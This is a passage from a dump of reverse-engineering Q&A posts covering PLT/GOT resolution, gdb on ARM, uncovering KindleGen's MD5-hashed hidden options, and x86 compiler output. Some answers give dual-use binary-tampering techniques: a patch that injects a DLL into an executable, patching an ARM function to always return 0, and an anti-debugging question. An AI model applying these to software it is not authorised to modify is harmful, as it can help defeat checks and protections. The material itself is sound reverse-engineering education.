    2. patches the GOT slot so it points to the target (puts)
      3. \n
    3. jumps to the target so that the program behaves as if it was called directly.
      4. \n
    \n\n

    So, the next time puts@plt is called, the jump goes directly to the already-resolved puts without going through the dynamic loader again.

    \n\n

    I recommend you to follow these steps in a debugger for a clearer picture.

    \n" }, { "Id": "14115", "CreationDate": "2016-12-05T10:14:09.997", "Body": "

    I'm debugging android JNI with gdb without source code. I use ni command to step over arm asm instructions. I suppose ni is step over, but it still goes into function like BL xxxx, and I have to use finish to get back.

    \n\n

    I tried ni and si, seems no difference, why?

    \n", "Title": "why 'ni' goes into function in Android gdb debugging?", "Tags": "|android|gdb|", "Answer": "

    You don't have the source code, so I assume you don't have any debug information with your binary either. This is just a guess, but without them, I suppose your BL is seen as a mere branch, not a subroutine call. For further explanation, see this comment.

    \n" }, { "Id": "14117", "CreationDate": "2016-12-05T22:29:59.310", "Body": "

    Not sure if the title is that telling but what I want to do is hack into an executable and do as little as necessary to get the code from my DLL running since I want to write as few lines of assembly code as possible.

    \n\n

    I already have the place where I'd like to jump in and I am ready to insert the necessary assembly instructions into the executable using ollydbg but since I never did that before I'm afraid I need a little help on those last steps.

    \n\n

    What I want to do is basically:

    \n\n
      \n
    1. Force the executable to load my DLL
      2. \n
    2. Push a few parameters onto the stack for init_my_dll()
      3. \n
    3. call init_dll()
      4. \n
    \n\n

    but I'm not sure what's the best way to accomplish that. Is there a straight forward way to get this done?

    \n\n

    Btw: Is what I'm doing here actually called \"dll-injection\"?

    \n", "Title": "What is the quickest way to run code of my own DLL?", "Tags": "|ollydbg|dll|dll-injection|", "Answer": "

    I ended up placing the required code in the executable:

    \n\n
    00C0B500   68 B6B4C000      PUSH ForgedAl.00C0B4B6                    ; ASCII \"lua-extension.dll\"\n00C0B505   FF15 88F4C000    CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar> ; kernel32.LoadLibraryA\n\n00C0B50B   68 C9B4C000      PUSH ForgedAl.00C0B4C9                    ; ASCII \"initialize\"\n00C0B510   50               PUSH EAX                                  ; push dll handle\n00C0B511   FF15 8CF4C000    CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd> ; kernel32.GetProcAddress\n\n00C0B517   56               PUSH ESI                                  ; holds pointer to the struct I want to steal -> parameter of \"initialize\"\n00C0B518   FFD0             CALL EAX                                  ; call \"initialize\"\n00C0B51A   5E               POP ESI\n\n00C0B51B  ^E9 6648D0FF      JMP ForgedAl.0090FD86                     ; jump back and continue original program flow\n
    \n" }, { "Id": "14121", "CreationDate": "2016-12-07T08:53:18.370", "Body": "

    The Amazon KindleGen command line app (Windows, macOS, Linux download links) has several undocumented command line parameters that I'm curious about. One of these hidden command line parameters is:

    \n\n
    -dont_append_source\n
    \n\n

    However, this string can't be found with the strings app or any of the many dissassemblers that I tried. It's therefore highly likely that some of the command line parameters have been obfuscated.

    \n\n

    There are at least 8 of them:

    \n\n
    option: (hidden) Skip the HTML cleanup\noption: (hidden) creates json position map file for debugging purpose.\noption: (hidden) creates mobi for older devices.\noption: (hidden) Using manual(tag based) fragmentation mode for building Webkit reader compatible mobi.\noption: (hidden) Webkit reader Compatible mobi will be built\noption: (hidden) fragsize\noption: (hidden) custom image size will be used for resizing\noption: (hidden) amazon creator tool or pipeline\n
    \n\n

    Are there any special tools out there that I could use to deobfuscate these hidden command line parameters?

    \n", "Title": "How to find obfuscated hidden command line parameters?", "Tags": "|disassemblers|command-line|", "Answer": "

    those command line switches seems to be plainly visible in several languages

    \n\n

    kind:>kindlegen.exe -dont_append_source

    \n\n
    Info:I9018:option: -donotaddsource: Source files will not be added\n
    \n\n

    kind:>strings -o kindlegen.exe | grep -i donotaddsource

    \n\n
    5130184:option: -donotaddsource: Source files will not be added\n5208360:Option: -donotaddsource: Quelldateien werden nicht hinzugef\n5287768:option: -donotaddsource: Les fichiers sources se seront pas ajout\n5367504:opzione: -donotaddsource: I file sorgente non verranno aggiunti\n5448722:n: -donotaddsource: no se agregan los archivos fuente\n5482150:-donotaddsource\n5524610:: -donotaddsource:\n5595760:o:-donotaddsource: Os arquivos de origem n\n5673552:: -donotaddsource:\n5748880:optie: -donotaddsource: bronbestanden worden niet toegevoegd\n
    \n\n

    binary dump at offset as shown by strings.exe

    \n\n
    kind:\\>xxd -s 5130184 -g1 -l0x70 kindlegen.exe\n04e47c8: 6f 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00  o.p.t.i.o.n.:. .\n04e47d8: 2d 00 64 00 6f 00 6e 00 6f 00 74 00 61 00 64 00  -.d.o.n.o.t.a.d.\n04e47e8: 64 00 73 00 6f 00 75 00 72 00 63 00 65 00 3a 00  d.s.o.u.r.c.e.:.\n04e47f8: 20 00 53 00 6f 00 75 00 72 00 63 00 65 00 20 00   .S.o.u.r.c.e. .\n04e4808: 66 00 69 00 6c 00 65 00 73 00 20 00 77 00 69 00  f.i.l.e.s. .w.i.\n04e4818: 6c 00 6c 00 20 00 6e 00 6f 00 74 00 20 00 62 00  l.l. .n.o.t. .b.\n04e4828: 65 00 20 00 61 00 64 00 64 00 65 00 64 00 00 00  e. .a.d.d.e.d...\n
    \n\n

    searching in windbg

    \n\n
    kindle:\\>echo get bounds of exe & cdb -c \"lm m kin*;q\" kindlegen.exe | grep def\nget bounds of exe\n00400000 00bdd000   kindlegen   (deferred)\nkindle:\\>echo search string within bounds & cdb -c \"lm m kin*;s -u kindlegen L?(0xbdd000\n-0x400000) donotaddsource: ; q\" kindlegen.exe | grep quit: -B 11\nsearch for emitted string within bounds\nstart    end        module name\n00400000 00bdd000   kindlegen   (deferred)\n008e59da  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n008f8b3a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0090c16a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0091f8e4  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0093361a  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n00945e88  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n00957476  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0096a456  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\n0097caa0  0064 006f 006e 006f 0074 0061 0064 0064  d.o.n.o.t.a.d.d.\nquit:\n
    \n\n

    maybe all the commandline switches

    \n\n

    0:000> .foreach (place { s -[1]u 400000 bdd000 option:}) {du /c100 place }

    \n\n
    00839650  \"option: {0}\"\n008e5478  \"option: -preserve_img: Original Image size will be preserved\"\n008e54f8  \"option: -image64K: The maximum size of the image is restricted to 64K\"\n008e5588  \"option: -image128K: The maximum size of the image is restricted to 128K\"\n008e5618  \"option: -gif: gif image conversion (no jpeg)\"\n008e5674  \"option: -c0: No compression\"\n008e56b0  \"option: -c1: Standard DOC compression\"\n008e5700  \"option: -c2: Kindle Huffdic compression\"\n008e5750  \"option: -allscript: Authorize all scripting\"\n008e57a8  \"option: -western: Forced Windows-1252 output\"\n008e5808  \"option: -verbose: Verbose output\"\n008e5850  \"option: -noparseback: Parse back won't be built\"\n008e58b0  \"option: -regserver: The XOPFPlugin type library has been registered\"\n008e5938  \"option: -unregserver: The XOPFPlugin type library has been unregistered\"\n008e59c8  \"option: -donotaddsource: Source files will not be added\"\n008e5a38  \"option: (hidden) Skip the HTML cleanup\"\n008e5a88  \"option: (hidden) creates json position map file for debugging purpose.\"\n008e5b18  \"option: (hidden) creates mobi for older devices.\"\n008e5b80  \"option: (hidden) Using manual(tag based) fragmentation mode for building Webkit reader compatible mobi.\"\n008e5c50  \"option: (hidden) Webkit reader Compatible mobi will be built\"\n008e5ccc  \"option: (hidden) fragsize\"\n008e5d00  \"option: (hidden) custom image size will be used for resizing\"\n008e5d80  \"option: (hidden) amazon creator tool or pipeline\"\n008e5de8  \"option: -genhdcontainers: eMM will be built with given resolutions\"\n0090bbc0  \"option: -preserve_img: La taille d'origine de l'image sera pr\u00e9serv\u00e9e\"\n0090bc50  \"option: -image64K: La taille maximum de l'image est limit\u00e9e \u00e0 64K\"\n0090bcd8  \"option: -image128K: La taille maximum de l'image est limit\u00e9e \u00e0 128K\"\n0090bd60  \"option: -gif: Conversion d'image gif (pas jpeg)\"\n0090bdc0  \"option: -c0: Aucune compression\"\n0090be00  \"option: -c1: Compression DOC standard\"\n0090be50  \"option: -c2: Compression Kindle Huffdic\"\n0090bea0  \"option: -allscript: Autorise toutes les sc\u00e9narisations\"\n0090bf10  \"option: -western: Sortie Windows-1252 forc\u00e9e\"\n0090bf70  \"option: -verbose: Sortie Verbose\"\n0090bfb8  \"option: -noparseback: Parse back ne sera pas construit\"\n0090c028  \"option: -regserver: Le type de biblioth\u00e8que XOPFPlugin a \u00e9t\u00e9 enregistr\u00e9\"\n0090c0b8  \"option: -unregserver: Le type de biblioth\u00e8que XOPFPlugin a \u00e9t\u00e9 d\u00e9senregistr\u00e9\"\n0090c158  \"option: -donotaddsource: Les fichiers sources se seront pas ajout\u00e9s\"\n0090c1e0  \"option: (masqu\u00e9e) Sauter le nettoyage HTML\"\n0090c238  \"option: (masqu\u00e9e) Cr\u00e9e fichier de carte de position json dans le but d'un d\u00e9bogage.\"\n0090c2e0  \"option: (masqu\u00e9e) cr\u00e9e un mobi pour les appareils plus anciens.\"\n0090c360  \"option: (masqu\u00e9e) Utilisation du mode de fragmentation manuelle (bas\u00e9 sur les balises) pour construire un lecteur Webkit compatible mobi.\"\n0090c478  \"option: (masqu\u00e9e) Un lecteur Webkit compatible mobi sera construit\"\n0090c500  \"option: (masqu\u00e9e) fragsize\"\n0090c538  \"option: (masqu\u00e9e) la taille d'image personnalis\u00e9e sera utilis\u00e9e pour redimmensionement\"\n0090c5e8  \"option: (cach\u00e9) amazon cr\u00e9ateur outil ou d'un pipeline\"\n009bbe70  \"option: {0}\"\n
    \n\n

    the argument strings are hashed with md5 and compared to blob it appears as Guntram blohm commented to your original query

    \n\n

    with a fleet glance it appears the hashing function is an MD5 implementation

    \n\n
    CPU Disasm\nAddress                                    Hex dump          Command                                       Comments\n006836F0 thiscallhashestheargstring (MD5)  /$  83EC 68       SUB     ESP, 68                               ; kindlegen.thiscallhashestheargstring (MD5)(guessed Arg1)\n006836F3                                   |.  8B50 08       MOV     EDX, DWORD PTR DS:[EAX+8]\n006836F6                                   |.  8B48 04       MOV     ECX, DWORD PTR DS:[EAX+4]\n
    \n\n

    the possible md5 constants are visible inside the procedure

    \n\n
    CPU Disasm\nAddress   Command                                       Comments\n006838FD  LEA     EAX, [EBX+EAX+D76AA478]<<<<<<<<<<<<<<<<<<<<<<<\n00683904  ROL     EAX, 7\n00683907  ADD     EAX, EDX\n00683909  AND     EDI, EAX\n0068390B  MOV     ECX, EAX\n0068390D  NOT     ECX\n0068390F  AND     ECX, ESI\n00683911  OR      ECX, EDI\n00683913  ADD     ECX, DWORD PTR SS:[ESP+3C]\n00683917  MOV     DWORD PTR SS:[ESP+18], EBX\n0068391B  LEA     ECX, [EBP+ECX+E8C7B756] <<<<<<<<<<<<<<<<<<<<<<\n00683922  ROL     ECX, 0C\n00683925  ADD     ECX, EAX\n00683927  MOV     EDI, ECX\n00683929  NOT     EDI\n0068392B  AND     EDI, EDX\n0068392D  MOV     EBX, ECX\n0068392F  AND     EBX, EAX\n00683931  OR      EDI, EBX\n00683933  ADD     EDI, DWORD PTR SS:[ESP+40]\n00683937  MOV     DWORD PTR SS:[ESP+30], ESI\n0068393B  LEA     ESI, [ESI+EDI+242070DB] <<<<<<<<<<<<\n
    \n\n

    the MD5 hash for some arg strings are

    \n\n
    cat dontapp.py\nimport md5\nprint md5.md5(\"-dont_append_source\").hexdigest()\nprint md5.md5(\"-intermediate_only\").hexdigest()\nprint md5.md5(\"-releasenotes\").hexdigest()\n\npython dontapp.py\n8465b444e1fe29390e2bb6b98b878829\nf837e7c59aeba2cfa4a0ccb7c941e1b8\n2368d23829ad7e680cd23385b9fcff6a \n
    \n\n

    and hash is compared to blob bytes here

    \n\n

    Note passing invalid args like -abracadabra doesnt land in this comparison function so it is possible there is a pre check like argstr len etc

    \n\n
    CPU Disasm\nAddress                  Command                                       Comments\n006832B0 whoknowswhat    PUSH    EBP                                   ; kindlegen.whoknowswhat(guessed Arg1,Arg2)\n006832B1                 MOV     EBP, DWORD PTR SS:[ESP+8]\n
    \n\n

    a logging breakpoints yields this

    \n\n

    -dont_append_source hash

    \n\n
    006832B0  INT3: [esp+4] = 84 (132.)\n006832B0  INT3: [esp+4] = 65 (101.)\n006832B0  INT3: [esp+4] = 0B4 (180.)\n006832B0  INT3: [esp+4] = 44 (68.)\n006832B0  INT3: [esp+4] = 0E1 (225.)\n006832B0  INT3: [esp+4] = 0FE (254.)\n006832B0  INT3: [esp+4] = 29 (41.)\n006832B0  INT3: [esp+4] = 39 (57.)\n006832B0  INT3: [esp+4] = 0\n006832B0  INT3: [esp+4] = 0E (14.)\n006832B0  INT3: [esp+4] = 2B (43.)\n006832B0  INT3: [esp+4] = 0B6 (182.)\n006832B0  INT3: [esp+4] = 0B9 (185.)\n006832B0  INT3: [esp+4] = 8B (139.)\n006832B0  INT3: [esp+4] = 87 (135.)\n006832B0  INT3: [esp+4] = 88 (136.)\n006832B0  INT3: [esp+4] = 29 (41.)\n
    \n\n

    -intermediate_only hash

    \n\n
    006832B0  INT3: [esp+4] = 0F8 (248.)\n006832B0  INT3: [esp+4] = 37 (55.)\n006832B0  INT3: [esp+4] = 0E7 (231.)\n006832B0  INT3: [esp+4] = 0C5 (197.)\n006832B0  INT3: [esp+4] = 9A (154.)\n006832B0  INT3: [esp+4] = 0EB (235.)\n006832B0  INT3: [esp+4] = 0A2 (162.)\n006832B0  INT3: [esp+4] = 0CF (207.)\n006832B0  INT3: [esp+4] = 0A4 (164.)\n006832B0  INT3: [esp+4] = 0A0 (160.)\n006832B0  INT3: [esp+4] = 0CC (204.)\n006832B0  INT3: [esp+4] = 0B7 (183.)\n006832B0  INT3: [esp+4] = 0C9 (201.)\n006832B0  INT3: [esp+4] = 41 (65.)\n006832B0  INT3: [esp+4] = 0E1 (225.)\n006832B0  INT3: [esp+4] = 0B8 (184.)\n
    \n\n

    --releasenotes

    \n\n
    006832B0  INT3: [esp+4] = 23 (35.)\n006832B0  INT3: [esp+4] = 68 (104.)\n006832B0  INT3: [esp+4] = 0D2 (210.)\n006832B0  INT3: [esp+4] = 38 (56.)\n006832B0  INT3: [esp+4] = 29 (41.)\n006832B0  INT3: [esp+4] = 0AD (173.)\n006832B0  INT3: [esp+4] = 7E (126.)\n006832B0  INT3: [esp+4] = 68 (104.)\n006832B0  INT3: [esp+4] = 0\n006832B0  INT3: [esp+4] = 0C (12.)\n006832B0  INT3: [esp+4] = 0D2 (210.)\n006832B0  INT3: [esp+4] = 33 (51.)\n006832B0  INT3: [esp+4] = 85 (133.)\n006832B0  INT3: [esp+4] = 0B9 (185.)\n006832B0  INT3: [esp+4] = 0FC (252.)\n006832B0  INT3: [esp+4] = 0FF (255.)\n006832B0  INT3: [esp+4] = 6A (106.)\n
    \n" }, { "Id": "14127", "CreationDate": "2016-12-07T22:28:29.853", "Body": "

    i am trying to debug and find the encryption password algorithm in a Windows Application.\nWhenever i try to debug, setting a breakpoint or not, the application gives a exception:

    \n\n

    \"exception

    \n\n

    is it some kind of anti-debug that creates this exception? if yes, anyway i can bypass it?

    \n\n

    Another information, the application has a login splash screen and when i try to run the debugger this screen shows and then the exception is raised.

    \n", "Title": "how to bypass exception to debug EXE", "Tags": "|ida|windows|debugging|anti-debugging|exception|", "Answer": "

    It seems this exception is used to set the thread name for the debugger. You should be able to safely ignore it.

    \n" }, { "Id": "14128", "CreationDate": "2016-12-08T04:57:20.703", "Body": "

    I am analyzing a sequence of x86 instructions, and become confused with the following code:

    \n\n
    135328495: sbb edx, edx\n135328497: neg edx\n135328499: test edx, edx\n135328503: jz 0x810f31c\n
    \n\n

    I understand that sbb equals to des = des - (src + CF), in other words, the first instruction somehow put -CF into edx. Then it negtive -CF into CF, and test whether CF equals to zero??

    \n\n

    But note that jz checks flag ZF, not CF! So basically what is the above code sequence trying to do? This is a legal x86 instruction sequence, produced by g++ version 4.6.3.

    \n", "Title": "x86 sbb with same register as first and second operand", "Tags": "|assembly|x86|", "Answer": "

    The sbb edx, edx statement writes either 0 or -1 to edx, depending only on the value of the carry flag. The following neg edx simply reflects the value of the initial carry flag. Thus the jz in your sequence is nothing else than a jnc statement (jmp on non-carry).\nHowever, this sequence might be found with an additional, preceding neg eax. The neg statement clears the carry in the zero case, otherwise sets it. This sequence might be used as a test for true or false, depending whether edx has some arbitrary nonzero value (true) or zero value (false). The sequence with the additional neg would then look like this:

    \n\n
    neg edx          ; clears the carry flag in the zero case, otherwise sets it\nsbb edx, edx     ; if (cf == 0) then edx == 0, else edx == -1\nneg edx          ; remains zero if initially edx has been zero, else 1\ntest edx, edx    ;\njz toSomewhere   ; jmp on edx having been zero initially\n
    \n\n

    btw, this is one of the questions I am planning for a reversing quiz.

    \n\n

    Have fun!

    \n" }, { "Id": "14139", "CreationDate": "2016-12-09T14:55:30.413", "Body": "

    I try to use IDA to debug application with official Android ARM emulator. I set up debugger, installed APK and run application, it starts, writes \"waiting for debugger\", and debugger writes that \"connection has been gracefully closed\", and I see following message in IDA log: ADB error: listener 'tcp:23915' not found

    \n\n

    The application is for sure debuggable; I have sources and debug the same APK with Android Studio. I can also debug C++ code with IDA remove ARM on the same emulator and the same APK.

    \n\n

    So why does Dalvik debugger not work?

    \n", "Title": "IDA Dalvik Debugger doesn't work with official Android emulator", "Tags": "|ida|android|dalvik|", "Answer": "

    I found solution myself. The thing is easy. It is one more Android Studio bug. I found that when IDA tries to connect to Dalvik debugger, I see following message in log:

    \n\n

    Ignoring second debugger -- accepting and dropping

    \n\n

    In not doubts no second debugger existed. Next, I found that this AVD doesn't work even with Android Studio and gives the same error.

    \n\n

    I found that other people have similar issue: https://stackoverflow.com/questions/3735450/ignoring-second-debugger-and-service-hang-in-android

    \n\n

    The problem disappeared when I rebooted Windows.

    \n" }, { "Id": "14143", "CreationDate": "2016-12-10T01:08:58.457", "Body": "

    I was reversing and then i've found a definition as COERCE_FLOAT:

    \n\n

    \"\"

    \n\n
    float v28;\nfloat v29;\n\nv29 = COERCE_FLOAT(&v30);\nv28 = COERCE_FLOAT(&v31); // what is this?\n
    \n\n

    I've searched and\nfound that it was a simple casting method, but really like it would be in C++?

    \n\n

    the value of v30 pass to v29 without the pointer? i don't understand.

    \n", "Title": "what is COERCE_FLOAT in ida Hex-Rays' C++ pseudocode?", "Tags": "|ida|c++|float|", "Answer": "

    It's probably just a simple cast like WasserEsser said. I encountered this same type of cast while trying to decompile the q_rsqrt function. You could probably recreate the same type of behaviour by using an cast, like WasserEsser suggested, but you could probably also use an union, like in this code :

    \n\n
    float Q_rsqrt( float number )\n{\n    union {\n        float f;\n        uint32_t i;\n    } conv;\n\n    float x2;\n    const float threehalfs = 1.5F;\n\n    x2 = number * 0.5F;\n    conv.f  = number;\n    conv.i  = 0x5f3759df - ( conv.i >> 1 );\n    conv.f  = conv.f * ( threehalfs - ( x2 * conv.f * conv.f ) );\n    return conv.f;\n}\n
    \n\n

    Which then decompiles to this :

    \n\n
    float __stdcall Q_rsqrt(float a1)\n{\n  return (flt1Point5\n        - a1\n        * flt0Point5\n        * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) >> 1))\n        * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) >> 1)))\n       * COERCE_FLOAT(0x5F3759DF - (SLODWORD(a1) >> 1));\n}\n
    \n" }, { "Id": "14152", "CreationDate": "2016-12-12T13:00:11.177", "Body": "

    I have an ARM binary in which I want to patch a function to always return 0.\nMy understanding is this means I need to set r0 register to 0.

    \n\n

    The disassembly looks like this

    \n\n
    STMFD           SP!, {R4-R6,LR}\n<lots of code>\nLDMFD           SP!, {R4-R6,PC}\n
    \n\n

    Can I overwrite all of this with a mov r0, 0 -> 0000A0E3 followed by a return (mov pc, lr -> 0EF0A0E1)?

    \n", "Title": "patch function in ARM binary to always return 0", "Tags": "|disassembly|arm|patching|", "Answer": "

    As you stated, returning in ARM/Thumb is to set the R0 register and return.

    \n\n

    You can patch the program a number of ways to do what you want. You can replace the top most instructions with mov r0, 0 and mov pc, lr and leaving the remaining code as is would make it not execute those instructions after mov pc, lr and just return to the calling function.

    \n\n
    MOV R0, 0\nMOV PC, LR\n// leave the rest as is, it wont execute\n
    \n\n

    You can also patch starting after STMFD SP!, {R4-R6,LR} with MOV R0, 0 and then nopping all the way to the return statement LDMFD SP!, {R4-R6,PC}.

    \n\n
    STMFD SP!, {R4-R6,LR}\nMOV R0, 0\n// NOP ALL THE WAY TO:\nLDMFD SP!, {R4-R6,PC}\n
    \n\n

    You can also just patch starting after STMFD SP!, {R4-R6,LR} with MOV R0, 0 and then replacing the following instruction with LDMFD SP!, {R4-R6,PC} to return early making the rest of the code below it un-executed.

    \n\n
    STMFD SP!, {R4-R6,LR}\nMOV R0, 0\nLDMFD SP!, {R4-R6,PC}\n// leave the rest as is, it wont execute\n
    \n" }, { "Id": "14155", "CreationDate": "2016-12-12T20:18:30.913", "Body": "

    I have following C++ code:

    \n\n
    int main(){\n\n  int a = 1;\n  double d = 1.2;\n\n  return 0;\n}\n
    \n\n

    and get the following assembly using GCC 6.2 -m32:

    \n\n
    main:\n        lea     ecx, [esp+4]\n        and     esp, -8\n        push    DWORD PTR [ecx-4]\n        push    ebp\n        mov     ebp, esp\n        push    ecx\n        sub     esp, 20\n        mov     DWORD PTR [ebp-12], 1\n        fld     QWORD PTR .LC0\n        fstp    QWORD PTR [ebp-24]\n        mov     eax, 0\n        add     esp, 20\n        pop     ecx\n        pop     ebp\n        lea     esp, [ecx-4]\n        ret\n.LC0:\n        .long   858993459\n        .long   1072902963\n
    \n\n

    and using MS CL 19:

    \n\n
    _d$ = -12                                         ; size = 8\n_a$ = -4                                                ; size = 4\n_main   PROC\n        push     ebp\n        mov      ebp, esp\n        sub      esp, 12              ; 0000000cH\n        mov      DWORD PTR _a$[ebp], 1\n        movsd    xmm0, QWORD PTR __real@3ff3333333333333\n        movsd    QWORD PTR _d$[ebp], xmm0\n        xor      eax, eax\n        mov      esp, ebp\n        pop      ebp\n        ret      0\n_main   ENDP\n
    \n\n

    I have several questions.

    \n\n
      \n

    1. what's mean first three lines in GCC version?

      \n\n

      lea ecx, [esp+4]

      \n\n

      and esp, -8

      \n\n

      push DWORD PTR [ecx-4]

      2. \n

    2. MS CL version allocates 12 bytes, 4 for int and 8 for double:

      \n\n

      sub esp, 12 // that's great.

      \n\n

      But why GCC allocates 24?

      \n\n

      push ecx

      \n\n

      sub esp, 20

      3. \n
    \n", "Title": "C++ to assembly, GCC vs CL", "Tags": "|disassembly|assembly|c++|disassemblers|gcc|", "Answer": "

    Given that you didn't specify any optimization flag and used -m32, GCC performed no optimization on your code. The -m32 flag specifies the generation of a 32 bit code for a compiler configured to generate 64 bit code by default. In 32 bit mode, even with optimizations activated, GCC will generate a sub-optimal code given that the only way to do floating point computations in 32 bit mode on Intel machines is through x87 instructions. If you remove the -m32 flag and add -O3 (third level of optimization in GCC) you'll obtain the following assembly code (quite similar to the one generated by Microsoft's CL) :

    \n\n
    .LC1:\n        .string \"%d %lf\\n\"\n        .section   .text.startup,\"ax\",@progbits\n        .p2align 4,,15\n        .globl  main\n        .type   main, @function\nmain:\n.LFB0:\n        .cfi_startproc\n        subq    $8, %rsp\n        .cfi_def_cfa_offset 16\n        movl    $1, %esi\n        movl    $.LC1, %edi\n        movsd   .LC0(%rip), %xmm0\n        movl    $1, %eax\n        call    printf\n        xorl    %eax, %eax\n        addq    $8, %rsp\n        .cfi_def_cfa_offset 8\n        ret\n        .cfi_endproc\n.LFE0:\n        .size   main, .-main\n        .section   .rodata.cst8,\"aM\",@progbits,8\n        .align 8\n.LC0:\n        .long   858993459\n        .long   1072902963 \n
    \n\n

    Note : I added a printf to the code because if the GCC optimization pass sees no use of the two variables, they will be removed (dead code elimination). I invite you to check out my post on the subject of optimized vs. non optimized code (Assembly Code - GCC optimized vs not).

    \n\n

    You can also notice that CL used an XMM register to store the 64 bit double element stored in .LC0. XMM registers are part of the SSE (Streaming SIMD Extensions) instruction set used mainly for floating point scalar & vector operations. Its implementation is much cleaner and faster than the x87 instruction set.

    \n\n

    Q1 :

    \n\n
    lea     ecx, [esp+4]      //load the content of [esp + 4] into ecx\nand     esp, -8           //align the stack pointer to 8 bytes (same as esp & ~7)\npush    DWORD PTR [ecx-4] //push the content of [ecx - 4] on the stack \n\n[ecx - 4] = [[esp + 4] - 4]\n
    \n\n

    Let's suppose the stack is in this state :

    \n\n
         |       main      |\n     |      return     |\n     |      address @  |\n     +-----------------+  <--- esp + 4 ---> ecx\n     |    some value   |\n     +-----------------+  <--- esp = ebp\n
    \n\n

    The first instruction puts the existing stack content (main return address @) in ecx. It is equivalent to this :

    \n\n
    mov ecx, esp\nsub ecx, 4\nmov ecx, [ecx]\n
    \n\n

    You can see that the lea instruction does in one take what these instructions do in three takes.

    \n\n

    The second instruction aligns esp on an 8 byte boundary. What that means is that the lower 3 order bits of the address pointed by esp will be 0. Memory accesses are faster on Intel machines when aligned on a power of 2 boundary.

    \n\n

    The third instruction changes the state of the stack to the following :

    \n\n
         |         @       |\n     +-----------------+  <--- esp + 4 ---> ecx\n     |    some value   |\n     +-----------------+  <--- ebp\n     |       @ - 4     |  \n     +-----------------+  <--- esp\n
    \n\n

    Therefore, when the main function is done, it will return to @ - 4.

    \n\n

    Q2 :

    \n\n

    Let's reason mathematically :

    \n\n
             We have : EBP = ESP0 \n         push ecx implies ESP1 = ESP0 - 4 \n         then : ESP2 = ESP1 - 20 \n         therefore : ESP0 = ESP2 - 24\n         mov DWORD PTR [ebp-12], 1 implies x = EBP - 12 = ESP0 - 12\n         We know that ESP0 = ESP2 - 24\n         Therefore x = ESP2 - 24 - 12 = ESP2 - 36\n         fstp    QWORD PTR [ebp-24] implies y = EBP - 24 = ESP0 - 24\n         Therefore y = ESP2 - 24 - 24 = ESP2 - 48\n
    \n\n

    Now, from this demonstration we extracted the location of the integer x = ESP2 - 36, and the location of the double y = ESP2 - 48.\nTo compute the distance between both variables, we subtract y from x and obtain the following : x - y = ESP2 - 36 - ESP2 + 48 = 48 - 36 = 12. And that's the amount of bytes used by GCC for storing both of your 32 bit/4 byte and 64 bit/8 byte variables.

    \n" }, { "Id": "14160", "CreationDate": "2016-12-13T17:19:42.963", "Body": "

    Is there any book or articles related to how C/C++ code is converted to assembly language, I mean common patterns for a specific compiler, etc?

    \n", "Title": "C/C++ to Assembly language", "Tags": "|assembly|c++|c|compilers|gcc|", "Answer": "

    Yes, there is a very good book (as in, it covers tons of patterns) at https://beginners.re/ - https://beginners.re/RE4B-EN.pdf

    \n\n

    You can spend 5-10 years studying general theory of compilation, which will go forward during that time anyway, but if you need a reasonably quick compendium of current patterns for reference / quick training, use that book.

    \n" }, { "Id": "14161", "CreationDate": "2016-12-13T18:47:37.253", "Body": "

    We are using FlexLM/Flexera/LMTOOLS (not sure which is the correct) as a licens manager for our Autodesk products. I don't know what version the server is, but I have a fairly old client version, LMTOOLS v11.10.0.0. In this you can perform an enquiry and get a somewhat obscure text back as result which tells you what licenses are beeing used/checked out and by who.

    \n\n

    I'm trying to programmatically do the same server status enquiry, and capture the response and use some regexp to figure out who is using specific licenses from our license pool.

    \n\n

    I've tried to use Wireshark and Fiddler to sniff the network traffic and figure out how the client is talking to the server, but with no success.

    \n\n

    So my question: is it even possible to make the same request in my own program (C#), and where can I learn more about it?

    \n\n

    Thanks!

    \n", "Title": "Reverse engineer LMTools server status enquiry", "Tags": "|networking|", "Answer": "

    This is possible using the APIs available in the FlexNet Publisher SDK. I suggest you to consult the SDK documentation and contact Flexera support in case of problems.

    \n\n

    In theory you could also observe the traffic between the client and the license server and deduce the packet format (this is known as \"French Caf\u00e9 technique\" and was used to develop the Samba project), but this can be a pretty complex and long task.

    \n" }, { "Id": "14165", "CreationDate": "2016-12-14T08:47:26.827", "Body": "

    I'm learning (and re-learning) C and assembly, and I came across a difference between what I've been taught and the actual result I have.

    \n\n

    Some code:

    \n\n
    int test(int a, int b){\n  return a + b;\n}\n\nint main(){\n  test(1,2);\n}\n
    \n\n

    As you can see, it's a really simple example in which I try to understand how values are passed around function.

    \n\n

    I've been taught that to pass variable to functions, the values must be pushed to the stack, in reverse order, to be accessible then with the base pointer, something like (simplified writing):

    \n\n
    -- main\n...\nmov   [esp+8] 0x02\nmov   [esp] 0x01\ncall  0x...  <test>\n...\n
    \n\n

    And then you can get back those values directly from the stack using:

    \n\n
    -- test\n...\nmov   esi [esp+8]\nadd   esi [esp]\nmov   eax esi\n...\n
    \n\n

    I'm perfectly OK with this (although I may not have understood everything), but what is strange to me is the practical result I get when playing with it in gdb:

    \n\n
